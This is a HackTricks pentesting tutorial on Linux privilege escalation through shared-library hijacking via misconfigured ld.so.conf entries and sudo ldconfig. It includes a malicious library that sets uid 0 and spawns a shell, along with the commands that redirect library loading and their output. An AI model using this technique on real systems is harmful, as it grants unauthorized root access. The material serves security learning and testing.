HackTricks
Search…
Pentesting
Powered By GitBook
ld.so exploit example

Prepare the environment

In the following section you can find the code of the files we are going to use to prepare the environment
sharedvuln.c
libcustom.h
libcustom.c
1
#include <stdio.h>
2
#include "libcustom.h"
3
4
int main(){
5
printf("Welcome to my amazing application!\n");
6
vuln_func();
7
return 0;
8
}
Copied!
1
#include <stdio.h>
2
3
void vuln_func();
Copied!
1
#include <stdio.h>
2
3
void say_hi()
4
{
5
puts("Hi");
6
}
Copied!
    1.
    Create those files in your machine in the same folder
    2.
    Compile the library: gcc -shared -o libcustom.so -fPIC libcustom.c
    3.
    Copy libcustom.so to /usr/lib: sudo cp libcustom.so /usr/lib (root privs)
    4.
    Compile the executable: gcc sharedvuln.c -o sharedvuln -lcustom

Check the environment

Check that libcustom.so is being loaded from /usr/lib and that you can execute the binary.
1
$ ldd sharedvuln
2
linux-vdso.so.1 => (0x00007ffc9a1f7000)
3
libcustom.so => /usr/lib/libcustom.so (0x00007fb27ff4d000)
4
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fb27fb83000)
5
/lib64/ld-linux-x86-64.so.2 (0x00007fb28014f000)
6
7
$ ./sharedvuln
8
Welcome to my amazing application!
9
Hi
Copied!

Exploit

In this scenario we are going to suppose that someone has created a vulnerable entry inside a file in /etc/ld.so.conf/:
1
sudo echo "/home/ubuntu/lib" > /etc/ld.so.conf.d/privesc.conf
Copied!
The vulnerable folder is /home/ubuntu/lib (where we have writable access). Downloadand compile the following code inside that path:
1
//gcc -shared -o libcustom.so -fPIC libcustom.c
2
3
#include <stdio.h>
4
#include <unistd.h>
5
#include <sys/types.h>
6
7
void say_hi(){
8
setuid(0);
9
setgid(0);
10
printf("I'm the bad library\n");
11
system("/bin/sh",NULL,NULL);
12
}
Copied!
Now that we have created the malicious libcustom library inside the misconfigured path, we need to wait for a reboot or for the root user to execute ldconfig (in case you can execute this binary as sudo or it has the suid bit you will be able to execute it yourself).
Once this has happened recheck where is the sharevuln executable loading the libcustom.so library from:
1
$ldd sharedvuln
2
linux-vdso.so.1 => (0x00007ffeee766000)
3
libcustom.so => /home/ubuntu/lib/libcustom.so (0x00007f3f27c1a000)
4
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f3f27850000)
5
/lib64/ld-linux-x86-64.so.2 (0x00007f3f27e1c000)
Copied!
As you can see it's loading it from /home/ubuntu/lib and if any user executes it, a shell will be executed:
1
$ ./sharedvuln
2
Welcome to my amazing application!
3
I'm the bad library
4
$ whoami
5
ubuntu
Copied!
Note that in this example we haven't escalated privileges, but modifying the commands executed and waiting for root or other privileged user to execute the vulnerable binary we will be able to escalate privileges.

Other misconfigurations - Same vuln

In the previous example we faked a misconfiguration where an administrator set a non-privileged folder inside a configuration file inside /etc/ld.so.conf.d/. But there are other misconfigurations that can cause the same vulnerability, if you have write permissions in some config file inside /etc/ld.so.conf.ds, in the folder /etc/ld.so.conf.d or in the file /etc/ld.so.conf you can configure the same vulnerability and exploit it.

Exploit 2

Suppose you have sudo privileges over ldconfig. You can indicate ldconfig where to load the conf files from, so we can take advantage of it to make ldconfig load arbitrary folders. So, lets create the files and folders needed to load "/tmp":
1
cd /tmp
2
echo "include /tmp/conf/*" > fake.ld.so.conf
3
echo "/tmp" > conf/evil.conf
Copied!
Now, as indicated in the previous exploit, create the malicious library inside /tmp. And finally, lets load the path and check where is the binary loading the library from:
1
ldconfig -f fake.ld.so.conf
2
3
ldd sharedvuln
4
linux-vdso.so.1 => (0x00007fffa2dde000)
5
libcustom.so => /tmp/libcustom.so (0x00007fcb07756000)
6
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fcb0738c000)
7
/lib64/ld-linux-x86-64.so.2 (0x00007fcb07958000)
Copied!
As you can see, having sudo privileges over ldconfig you can exploit the same vulnerability.
I didn't find a reliable way to exploit this vuln if ldconfig is configured with the suid bit. The following error appear: /sbin/ldconfig.real: Can't create temporary cache file /etc/ld.so.cache~: Permission denied

References

Last modified 1yr ago